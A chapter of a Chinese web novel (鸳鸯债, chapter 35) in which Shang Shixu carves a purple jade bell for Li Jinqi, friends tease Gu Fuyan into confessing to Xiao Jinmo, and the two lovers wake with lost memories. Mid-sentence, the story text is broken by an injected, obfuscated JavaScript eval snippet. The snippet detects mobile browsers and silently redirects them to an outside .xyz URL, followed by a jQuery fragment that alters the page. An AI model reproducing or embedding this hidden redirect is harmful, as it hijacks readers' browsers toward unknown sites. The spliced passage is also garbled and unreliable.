35.紫玉玲

作品:《鸳鸯债

    商时序耳尖红得滴血,一手紧握着李锦期的柔荑,一手死死捂住自己的嘴,生怕泄露半分声响。烛火摇曳间,他望着少女恬静的睡颜,心跳如擂鼓。


    她若是醒来......


    这个念头刚起,又被他压下。玄衣少年终是俯身,小心翼翼地将人打横抱起。青裙与墨袍在月下交叠,宛如一幅水墨丹青。


    商时序轻手轻脚地将人安置在绣榻上,又仔细掖好被角。指尖拂过她微蹙的眉间,似要抚平那抹不安。他在榻前蹲坐,目光流连在她脸上,竟这般痴看了半个时辰。


    “陶陶......”


    终是忍不住,一个轻若羽絮的吻落在她额间。随后从怀中取出一只羊脂玉镯,成色极佳,在烛光下泛着温润的光泽。他执起她的手腕,缓缓套入。


    “你是我的。”


    少年轻声呢喃,又在她手背落下一吻。


    “我亦是你的,一辈子都是。”


    窗外更漏声声,商时序不得不站起身。一步三回头看床上那个不会醒过来姑娘,最终依依不舍地离去。


    他必须得走了,只是他并没有看见,李锦期眼角滑下一滴清泪,很快便没入锦枕消失不见。


    东方既白,商时序推门而出,正见早已换好了玄色衣衫的谢共秋立在院中,目光仍追随着早已消失在街角的马车。


    好一个浓情蜜意、小别胜新婚啊。


    “还没看够?”商时序抱臂倚在门边。


    谢共秋抹了把脸:"商陆,我想她。"


    “现在追还来得及。”


    “不必了。”谢共秋深吸一口气,“再看就走不了了。”


    两人沉默片刻,谢共秋忽然正色:“时序。”


    “嗯?”


    “保重。”谢共秋顿了顿,“扶砚说,他今日定要向明萱表明心迹。”


    商时序挑眉:“他们顾家人都这般疯癫?”


    只是说起来,若是明萱也要走,李锦期会很伤心的吧,毕竟每次见面,她都要锲而不舍的让自己带着她去见明萱。但是不行啊,现在并不是能见面的好时机,商时序收回心思。


    “你去瞧热闹?”


    “自然。”商时序勾唇,“这等好戏岂能错过。”


    谢共秋欲言又止:“你到现在......总不会还想杀李小姐吧?”


    见商时序眼神骤冷,他连忙摆手:“我是说,若真相查明......”


    “不会。”商时序斩钉截铁。


    二人不再多言,转身离去。


    谁也没注意到,窗棂下,一道身影死死捂住嘴,不敢发出一丝声响。然后很快消匿于风中。


    不缓不急的二人纵身跃上屋脊,只见顾扶砚斜倚在飞檐上,口中草茎咬得咯吱作响,一双黑眸失神地望着远处,手里还揽着半坛酒,这般模样,哪还有平日燕秦质子的从容气度。


    “啧。”商时序抱臂冷笑,“燕秦皇子也有今日。”


    因为平时鲜少见他这种模样,两人一时不忍,竟笑了出来,谢共秋死死咬住下唇,肩膀不住抖动,憋笑憋得腰间白脂玉佩轻颤。商时序倒是毫不掩饰地讥讽嗤笑出声,白玉般的指节轻叩腰间佩剑,在寂静的夜色中格外清脆。


    “怎的?”谢共秋盘腿坐下,玄色衣袍铺展如鸦羽,“还没准备好?”


    商时序抱臂而立,月光映得他眉目如霜:“可想清楚了?”


    顾扶砚烦躁地扯下口中草茎:“你们整日就这般游手好闲?”


    “本公子可是要去燕秦劫富济贫的!”谢共秋夸张地比划着,“谁闲来无事了?”


    商时序淡淡道:“李锦期心中挂念,代她来看看表姐。”


    此言一出,两道目光齐刷刷射来。商时序被看得耳根发热,没好气道:“看什么看?不是你今日要表明心迹?再不去,莫非要等回燕秦再说?”


    谢共秋连连点头:“正是!到了燕秦哪还有工夫谈情说爱?扶砚啊,早些说清楚,也好名正言顺地陪在她身边不是?”他忽然倒吸一口凉气,“你瞪我作甚?哥几个不都这么过来的?不信你问时序。”


    顾扶砚灼灼目光转向商时序,后者硬着头皮道:“确实...有些事需得说清楚。”


    门发出“吱呀”一声轻响,走出一位蓝衣女子。月光如水,倾泻在她身上,勾勒出与李锦期七分相似的轮廓,却比李锦期更添三分弱柳扶风的韵致。她转身的瞬间,腰间禁步叮咚,却未发现檐上三人。


    顾扶砚倏地站起,指尖微微发颤。就在他踌躇不前时,左右肩膀同时一沉——


    “下去吧你!”


    顾扶砚踉跄落地,正正与转身的萧锦墨四目相对。少女惊得后退半步,绣鞋踩在青石板上发出轻响。


    檐上二人看得分明——素来舌战群儒的燕秦质子,此刻竟憋得满面通红,半句话也说不出来。


    谢共秋摇头叹息:“瞧他这没出息的样子,我方才真想一脚踹他下去。”


    商时序深以为然:“若非顾及体面...”


    两人相视一眼,心领神会。


    商时序挑眉:就这?


    谢共秋挤眼:够笑他十年!


    而这边的萧锦墨被突然从天而降的身影惊得后退半步,绣鞋踩在青石板上发出轻响。月光下,顾扶砚的玄色衣袍被夜风掀起一角,露出内里绣着的暗纹。


    “你......”


    “公主殿下!”顾扶砚声音陡然提高,在寂静的宫墙下显得格外突兀。话一出口,他自己先红了耳根,又急忙抿唇噤声。


    两人相对而立,夜风卷着落花从他们之间穿过。最终是萧锦墨先打破沉默,声音轻得几乎消散在风里:“你为何......要帮我?”


    顾扶砚眸光微动,喉结上下滚动。良久,他才低声道:“就当是......还皇后娘娘当年的恩情。”


    谢共秋:“………”


    商时序:“………”


    你俩苦命鸳鸯都要同生同死了,还在这里演什么苦情话本?


    檐上的谢共秋险些咬碎一口银牙,用口型对商时序道:这厮在说什么混账话?


    商时序扶额,以指蘸酒在瓦片上写道:怂包。


    萧锦墨闻言,只是静静望着他,眸中似有千言万语,最终却只化作一个“好”字。她转身欲走,裙裾在月光下泛着淡淡的蓝。


    顾扶砚指尖微颤,正欲上前,忽觉后脑一痛——谢共秋的碎石子准准砸在他束发的玉冠上。抬头望去,只见两位挚友正在檐上挤眉弄眼:


    谢共秋夸张地比着口型:快!说!啊!


    商时序则抱臂冷笑,用唇语道:燕秦皇子的胆量呢?


    这两个孽障......


    顾扶砚正暗自磨牙,忽见萧锦墨转身。他立刻绷直脊背,瞬间恢复往日清冷自持的模样。


    商时序在檐上翻了个白眼,以酒代墨继续写道:装得挺像。


    谢共秋有样学样:继续装,看他能装到几时。


    夜风骤起,吹落一树海棠。花瓣纷扬间,顾扶砚望着眼前人,终是深吸一口气——


    “时辰已至,该启程了。”


    檐上二人闻言险些咬碎银牙。谢共秋手中酒壶捏得咯吱作响,这厮平日里在朝堂上舌战群臣的气魄去哪了?怎的到了心仪女子面前,连句体己话都说不利索?


    商时序一抬头,天色不似往日明朗,但是估计时辰已经到了,两人不在说话,他们都知道,此次一去,万言难尽。


    谢共秋纵身跃下,玄色衣衫在风中猎猎作响。他先将一个酒囊塞进商时序怀中,又朝萧锦墨草草拱手:“叨扰公主。”转身时不忘狠狠瞪了顾扶砚一眼。


    商时序独立檐角,望着三人身影渐行渐远。天际浓云翻墨,偶有闷雷滚过,恰似他此刻心绪。指尖摩挲着酒囊上熟悉的云纹,忽觉掌心微潮——竟是谢共秋这混账临行前偷偷倒进去的半壶“醉春风”。


    罢了......


    他仰头喝了一口残酒,任辛辣酒液灼过咽喉。雨丝初落时,玄衣已消失在重重宫阙之间,唯余青石板上几滴未干的水痕,分不清是酒是雨。


    五更将尽,檐角铁马在雨中叮当作响。商时序寝殿的灯树仍亮着,将他的身影投在茜纱窗上,如一幅水墨剪影。


    商时序披衣坐在窗前,手中一块未经雕琢的紫玉在灯下泛着幽光。这是三日前从南境快马加鞭送来的“暮山紫”,传闻此玉生于雪山之巅,经千年月色浸润方成这般莹润的紫,日光下如烟霞氤氲,暗处则流转星河。


    那块“暮山紫”玉料在灯下流转着奇异的光彩——日光下本是烟霞般的淡紫,此刻在烛火中却透出星河流转的深邃。


    他取过银刀,刀尖在玉石上轻轻一划,簌簌落下的玉粉沾了满袖。他执银刀的手稳如磐石,刀尖游走时带起细碎的玉尘,沾在雪白的中衣袖口,恍若银河倾落。


    老仆捧着药盏进来时,正见自家主子额前碎发被汗水浸透。那碗汤药泛着苦参气息,能将乌居皇族特有的冰蓝瞳色掩作昭唐常见的琥珀——就像他掩藏在质


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568428|166927||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子身份下的秘密。


    “殿下,该用药了。”


    商时序未抬眼,刀尖正勾勒铃舌处的玉雀羽纹:“且放着。”


    刻刀忽然在指尖划出嫣红一道。商时序凝视那滴血珠,忽想起乌居故老相传:若以心血沁入定情信物,便是将魂魄也系在了上头。他垂眸轻笑,将血珠细细抹在玉雀眼睛上,恰似李锦期耳后那颗朱砂痣。


    窗外雨声渐歇,天光破晓时,银链穿成的紫玉铃在晨风中轻旋。铃内壁的蔓草莲纹与铃舌血玉雀相映,暗藏的心思昭然若揭——


    蔓草缠莲谓“锦”,栖枝雀鸟唤“期”。


    “叮——”


    紫玉铃的清音惊破晓色,檐下早莺扑棱棱飞起,抖落一串夜露。商时序蓦地想起昔年太傅所言:昭唐贵女及笄时,母亲必赠银铃一枚,取“步步琳琅,岁岁可期”之意。


    难怪她名唤锦期......


    老仆蹑足进来添灯油时,药碗里的汤药早已不再冒热气。晨光透过雕花窗棂,将商时序的侧脸镀上金边,那双向来凌厉的眸子此刻映着朝霞,竟透出几分暮山紫玉的幽邃。


    酒囊再次启封时,竹叶清香混着“醉春风”特有的醇烈扑面而来。商时序仰颈饮尽,喉间灼热一路烧到心口。这酒算不得顶烈,后劲却足得很,不过三息功夫,眼前便开始天旋地转。


    此酒甚烈,商时序想。


    他踉跄扶住床柱,抬眼望向悬在床头的工笔小像——画中少女一袭柳色襦裙,倚在玉兰树下。那日春光明媚,她鬓边落着花瓣,桃花眼里盛着整个琅京的繁华。


    那是李锦期,是与商时序初见时的李锦期。


    不,商时序迷迷糊糊的想,那应该是第二次相见。


    指尖虚抚过画中人的眼角,商时序终是抵不住酒意,倒在锦被间沉沉睡去。手中还紧握着那枚紫玉铃。


    那可是他要送给心上人的。


    “送你的,我想你会喜欢。”


    届时见到李锦期,他定要这么说,乌居男子会送给心上人自己雕刻的紫玉,她那么聪明,不会不知道的吧?


    商时序眼前愈来愈晃,他简直都快要站不稳脚跟了。


    混沌之中,商时序恍惚见一袭青衣踏雨而来。那身影分明是李锦期,眼角却缀着晶莹泪珠,在昏暗室内泛着微光。


    为何落泪?


    他想抬手为李锦期拭去那泪痕,却发觉四肢如灌铅般沉重。只能眼睁睁看她走近,冰凉的指尖覆上自己眼睑。


    “陶陶......”


    李锦期却转身离开,嘶哑的呼唤卡在喉间,紫玉铃的尖角已深深嵌入掌心,鲜血顺着银链蜿蜒而下,在锦被上洇出暗色花纹。


    “别离开我!”脚步声没有停下,那人没回头。商时序撕心一喊:“李锦期!”


    黑暗的世界里,没再有任何回应的声响。他的心口中,似乎有什么东西在缓缓的流去....


    窗外暴雨如注,仿佛要将整个琅京淹没。


    一日夜后,商时序在剧痛中惊醒。冷汗浸透重衫,墨发黏在苍白的脸颊边。他茫然望着血迹斑斑的右手,又看向床头悬挂的工笔小像——画中执伞的绿衣少女笑意盈盈,却怎么也想不起是谁。


    喉头忽涌上一股腥甜,他踉跄扑到窗前,呕出的血沫混着雨水砸在青砖上。


    暮色沉沉,李锦期自混沌中苏醒。额间冷汗未消,心口处隐隐作痛,仿佛被利刃划过又愈合,只余一道看不见的伤痕。她蹙眉回想梦中情形,却只捕捉到几缕零碎片段——暴雨、血痕、还有谁人绝望的呼唤,尽数消散在意识深处。


    那人是谁?喊她喊的那般撕心裂肺?


    “陶陶!”


    颜晞扑到榻前,金线绣的蝶纹袖口扫落案上茶盏。她紧紧攥住李锦期的手腕,指尖都在发颤:“你还好吧?你睡了一天一夜,还总是哭,担心死我了!”


    李锦期头实在是太痛了,她还是抬手擦了擦颜晞脸上的泪水:“我这不是好好的吗,莫哭。”


    颜晞“嗯”了一声,然后很快想到自己此行的目的,她提心吊胆的等了一天一夜,就只为了将此事告诉李锦期:“对了陶陶,你最近先不要去见商时序了,他、他要杀你!我亲耳所听!”


    似乎是怕李锦期不信,她的语气十分焦急:“这应该不是假的,你要信我!”


    李锦期头痛欲裂,茫然抬眸,乌黑的瞳孔里映着好友焦急的面容:“商...时序?”她轻声重复这个名字,如同诵读一个陌生人的名讳,“那是谁?”